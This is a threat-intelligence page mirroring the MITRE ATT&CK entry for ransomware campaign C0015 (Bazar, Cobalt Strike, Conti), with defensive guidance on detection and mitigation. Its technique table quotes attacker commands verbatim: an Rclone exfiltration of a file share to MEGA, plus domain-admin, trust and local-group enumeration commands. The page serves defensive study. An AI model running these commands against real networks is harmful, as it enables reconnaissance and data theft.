LiveActive security incident?Get immediate response
MITRE ATT&CK® Campaign

C0015: C0015

C0015 was a ransomware intrusion during which the unidentified attackers used Bazar, Cobalt Strike, and Conti, along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated Conti ransomware playbook based on the observed pattern of activity and operator errors.[1]

EnterpriseC0015CampaignObject v1.0Modified
Discuss defensive coverageBack to ATT&CK
Glexia's Take · Automated analysis

Security context for executives and security teams

Automation confidenceHigh

C0015 matters because it represents a fast ransomware intrusion pattern: unidentified attackers used Bazar, Cobalt Strike, Conti, and other tools over a five-day period, with activity assessed by researchers as consistent with the widely circulated Conti ransomware playbook. For leaders, the decision value is not the campaign name; it is whether the organization can detect and contain downloader/backdoor activity, post-exploitation tooling, Active Directory discovery, lateral movement, data staging/exfiltration preparation, and ransomware deployment before business operations are disrupted.

Executive priority

Treat this as a resilience and incident-readiness benchmark for ransomware defense. Executives should ask whether SOC, identity, endpoint, network, and backup teams can work from a shared ransomware playbook during a compressed multi-day intrusion. Priority should go to validating visibility across Windows administration activity, Active Directory enumeration, RDP/WMI use, tool transfer, data collection from local systems and shares, staging, and possible cloud-storage sync tooling such as Rclone. Because ATT&CK provides no official detection text for this campaign, local evidence and tested response procedures are essential for audit confidence and operational readiness.

Technical view

For SOC and IR teams, C0015 should be mapped as a campaign-level scenario involving Bazar, Cobalt Strike, Conti, AdFind, and Rclone, plus techniques including command shell, Visual Basic, JavaScript, WMI, RDP, process/file/network discovery, local and domain group discovery, local and network-share data collection, local staging, ingress tool transfer, obfuscation, masquerading, DLL injection, and data transfer size limits. Validate whether detections correlate early-stage downloader/backdoor behavior with follow-on discovery, credentialed remote access, administrative execution, file staging, and exfiltration-preparation signals rather than treating each alert in isolation.

Likely telemetry

  • Endpoint process creation and command-line logging for cmd, scripting, discovery commands, AdFind-like LDAP queries, and renamed or suspicious utilities
  • Windows event telemetry for RDP logons, WMI activity, remote execution, local and domain group enumeration, and administrative access patterns
  • EDR telemetry for DLL injection, process relationships, suspicious child processes, obfuscated files, masquerading, and tool transfer
  • Network telemetry for Cobalt Strike-like command-and-control patterns, unusual outbound connections, ingress tool downloads, and constrained or chunked data transfers
  • File system telemetry for sensitive-file discovery, access to local data sources, network share access, bulk copy activity, and local staging directories

Detection direction

  • Build correlation around the intrusion sequence: downloader/backdoor presence, tool transfer, discovery, privilege or identity-focused enumeration, lateral movement via RDP/WMI, collection/staging, and ransomware tooling.
  • Tune for legitimate administration overlap. RDP, WMI, command shell, group enumeration, and file copy activity are common in enterprise operations, so detections should account for user role, host criticality, time of day, source/destination pairings, and change windows.
  • Validate visibility for Active Directory discovery, especially AdFind-like behavior and domain/local group enumeration, because these signals often decide whether defenders can see ransomware operators preparing lateral movement.
  • Look for gaps around network shares and data staging. Many environments monitor malware execution better than bulk file access, staging directories, archive preparation, or sync-tool usage.
  • Because official ATT&CK detection guidance is not provided for C0015, use the related software and techniques as coverage requirements and test them with internal purple-team or detection validation exercises.

Mitigation priorities

  • Prioritize identity and administrative access controls: restrict and monitor RDP/WMI, enforce least privilege, and review local/domain admin exposure.
  • Harden endpoint execution paths by controlling script execution, suspicious command-line use, unauthorized remote access tools, and unapproved file-transfer or cloud-sync utilities.
  • Improve segmentation and lateral movement resistance around critical servers, file shares, backup infrastructure, and administrative workstations.
  • Prepare ransomware-specific response actions: rapid endpoint isolation, account disablement, evidence preservation, backup validation, and executive decision triggers.
  • Use this campaign as a tabletop and detection-engineering scenario to prove that SOC, IR, identity, infrastructure, and business-continuity teams can respond within a compressed multi-day intrusion window.
Additional notes and limits

The strongest defensive lesson from C0015 is sequence awareness. The campaign description and relationships point to a ransomware intrusion involving Bazar, Cobalt Strike, Conti, AdFind, Rclone, discovery, remote execution, lateral movement, collection, staging, and exfiltration-related behavior. The campaign’s actors are unidentified in the supplied ATT&CK fields, so attribution should not drive prioritization; readiness against the behavior should.

ATT&CK does not provide official detection text, campaign-level platforms, or tactics for C0015 in the supplied object. Platform references come only from related software and technique objects. This summary does not assert current activity, customer exposure, or guaranteed detection coverage; organizations must validate against their own telemetry, controls, and incident history.

Generated from the cited source records. This long-tail analysis has not been individually reviewed by a named human.

Official MITRE ATT&CK definition

C0015

C0015 was a ransomware intrusion during which the unidentified attackers used Bazar, Cobalt Strike, and Conti, along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated Conti ransomware playbook based on the observed pattern of activity and operator errors.[1]

View the same entry on attack.mitre.org (MITRE-hosted reference; in-page links above use the Glexia ATT&CK library.)

Glexia analysis

How security teams should use this page

Treat this object as behavior context, not an attribution claim. Validate the related groups, software, data sources, and mitigations against official ATT&CK relationships and your own telemetry before making control-coverage decisions.

ATT&CK relationship table

Techniques used

This mirrors the MITRE pattern of making group, software, campaign, and technique relationships scannable. Relationship notes come from mirrored ATT&CK relationship text when available.

34 rows
DomainIDNameRelationship / procedure
EnterpriseT1135Network Share Discovery

During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.[1]

EnterpriseT1047Windows Management Instrumentation

During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host.[1]

EnterpriseT1083File and Directory Discovery

During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful.[1]

EnterpriseT1553.002Code SigningSub-technique

For C0015, the threat actors used DLL files that had invalid certificates.[1]

EnterpriseT1567.002Exfiltration to Cloud StorageSub-technique

During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.[1]

EnterpriseT1204.002Malicious FileSub-technique

During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.[1]

EnterpriseT1074.001Local Data StagingSub-technique

During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.[1]

EnterpriseT1218.011Rundll32Sub-technique

During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.[1]

EnterpriseT1566.001Spearphishing AttachmentSub-technique

For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.[1]

EnterpriseT1005Data from Local System

During C0015, the threat actors obtained files and data from the compromised network.[1]

EnterpriseT1069.001Local GroupsSub-technique

During C0015, the threat actors used the command `net localgroup "adminstrator" ` to identify accounts with local administrator rights.[1]

EnterpriseT1057Process Discovery

During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.[1]

EnterpriseT1069.002Domain GroupsSub-technique

During C0015, the threat actors use the command `net group "domain admins" /dom` to enumerate domain groups.[1]

EnterpriseT1105Ingress Tool Transfer

During C0015, the threat actors downloaded additional tools and files onto a compromised network.[1]

EnterpriseT1055.001Dynamic-link Library InjectionSub-technique

During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.[1]

EnterpriseT1059.005Visual BasicSub-technique

During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.[1]

EnterpriseT1486Data Encrypted for Impact

During C0015, the threat actors used Conti ransomware to encrypt a compromised network.[1]

EnterpriseT1027Obfuscated Files or Information

During C0015, the threat actors used Base64-encoded strings.[1]

EnterpriseT1059.003Windows Command ShellSub-technique

During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries.[1]

EnterpriseT1218.010Regsvr32Sub-technique

During C0015, the threat actors employed code that used `regsvr32` for execution.[1]

EnterpriseT1588.001MalwareSub-technique

For C0015, the threat actors used Cobalt Strike and Conti ransomware.[1]

EnterpriseT1021.001Remote Desktop ProtocolSub-technique

During C0015, the threat actors used RDP to access specific network hosts of interest.[1]

EnterpriseT1124System Time Discovery

During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network.[1]

EnterpriseT1030Data Transfer Size Limits

During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration.[1]

EnterpriseT1219.002Remote Desktop SoftwareSub-technique

During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.[1]

EnterpriseT1039Data from Network Shared Drive

During C0015, the threat actors collected files from network shared drives prior to network encryption.[1]

EnterpriseT1570Lateral Tool Transfer

During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.[1]

EnterpriseT1018Remote System Discovery

During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.[1]

EnterpriseT1016System Network Configuration Discovery

During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.[1]

EnterpriseT1588.002ToolSub-technique

For C0015, the threat actors obtained a variety of tools, including AdFind, AnyDesk, and Process Hacker.[1]

EnterpriseT1059.007JavaScriptSub-technique

During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.[1]

EnterpriseT1036Masquerading

During C0015, the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.[1]

EnterpriseT1482Domain Trust Discovery

During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.[1]

EnterpriseT1218.005MshtaSub-technique

During C0015, the threat actors used `mshta` to execute DLLs.[1]

Associated objects

Groups, software, and campaigns

MalwareEnterprise

S0154: Cobalt Strike

Cobalt Strike is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.[1]

In addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.[1]

LinuxmacOSWindows
MalwareEnterprise

S0575: Conti

Conti is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. Conti has been deployed via TrickBot and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using Conti steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.[1][2][3]

Windows
ToolEnterprise

S1040: Rclone

Rclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.[1][2][3][4][5]

LinuxWindowsmacOS
MalwareEnterprise

S0534: Bazar

Bazar is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. Bazar reportedly has ties to TrickBot campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.[1]

Windows
Relationship explorer

All related ATT&CK context

uses · TechniqueT1135: Network Share DiscoveryEnterpriseuses · TechniqueT1047: Windows Management InstrumentationEnterpriseuses · TechniqueT1083: File and Directory DiscoveryEnterpriseuses · MalwareS0154: Cobalt StrikeEnterpriseuses · ToolS0552: AdFindEnterpriseuses · TechniqueT1553.002: Code SigningEnterpriseuses · TechniqueT1567.002: Exfiltration to Cloud StorageEnterpriseuses · TechniqueT1204.002: Malicious FileEnterpriseuses · TechniqueT1074.001: Local Data StagingEnterpriseuses · TechniqueT1218.011: Rundll32Enterpriseuses · TechniqueT1566.001: Spearphishing AttachmentEnterpriseuses · TechniqueT1005: Data from Local SystemEnterpriseuses · TechniqueT1069.001: Local GroupsEnterpriseuses · TechniqueT1057: Process DiscoveryEnterpriseuses · TechniqueT1069.002: Domain GroupsEnterpriseuses · MalwareS0575: ContiEnterpriseuses · TechniqueT1105: Ingress Tool TransferEnterpriseuses · TechniqueT1055.001: Dynamic-link Library InjectionEnterpriseuses · TechniqueT1059.005: Visual BasicEnterpriseuses · TechniqueT1486: Data Encrypted for ImpactEnterpriseuses · ToolS1040: RcloneEnterpriseuses · TechniqueT1027: Obfuscated Files or InformationEnterpriseuses · TechniqueT1059.003: Windows Command ShellEnterpriseuses · TechniqueT1218.010: Regsvr32Enterprise
Change history

Object version and sync metadata

The fields below describe the current mirrored snapshot. When Glexia retains multiple ATT&CK source imports, you can open the table to compare the same object across releases (hashes and MITRE timestamps). For MITRE’s own release notes and roadmap, see ATT&CK resources — Updates.

ATT&CK release
19.1
Object version
1.0
Created
Modified
Raw hash
39d32cb0180d4422...
Imported snapshots across ATT&CK releases(1)
ReleaseBundle importedObject versionModifiedStatusRaw hash
19.11.0Current bundle39d32cb0180d…
Raw source

Mirrored ATT&CK source object

The raw object is retained through the mirrored ATT&CK source bundle and object hash. The raw endpoint returns the exact object from the mirrored bundle when available.

Open mirrored raw JSONOpen MITRE-hosted copy
Source references

External references and citations

MITRE external references are preserved separately from Glexia analysis so citations remain traceable to their original source records.

  1. [1]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  2. [2]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  3. [3]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  4. [4]
    mitre-attackC0015
    Open source URL
  5. [5]
    mitre-attackC0015
    Open source URL
  6. [6]
    mitre-attackC0015
    Open source URL
  7. [7]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  8. [8]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  9. [9]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  10. [10]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  11. [11]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  12. [12]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  13. [13]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  14. [14]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  15. [15]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  16. [16]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  17. [17]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  18. [18]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  19. [19]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  20. [20]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  21. [21]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  22. [22]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  23. [23]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  24. [24]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  25. [25]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  26. [26]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  27. [27]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  28. [28]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  29. [29]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  30. [30]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  31. [31]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  32. [32]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  33. [33]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  34. [34]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  35. [35]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  36. [36]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  37. [37]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  38. [38]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  39. [39]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  40. [40]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  41. [41]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  42. [42]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  43. [43]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  44. [44]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  45. [45]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  46. [46]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  47. [47]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  48. [48]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  49. [49]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  50. [50]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  51. [51]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  52. [52]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  53. [53]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  54. [54]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  55. [55]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  56. [56]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  57. [57]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  58. [58]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  59. [59]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  60. [60]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  61. [61]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  62. [62]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  63. [63]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  64. [64]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  65. [65]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  66. [66]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  67. [67]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  68. [68]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  69. [69]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  70. [70]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  71. [71]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  72. [72]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  73. [73]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  74. [74]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
  75. [75]
    DFIR Conti Bazar Nov 2021

    DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.

    Open source URL
Source and licensing

Source: MITRE ATT&CK®. © 2026 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation. Glexia is not affiliated with or endorsed by MITRE.

Official MITRE ATT&CK siteOfficial STIX data repositoryMITRE ATT&CK terms of use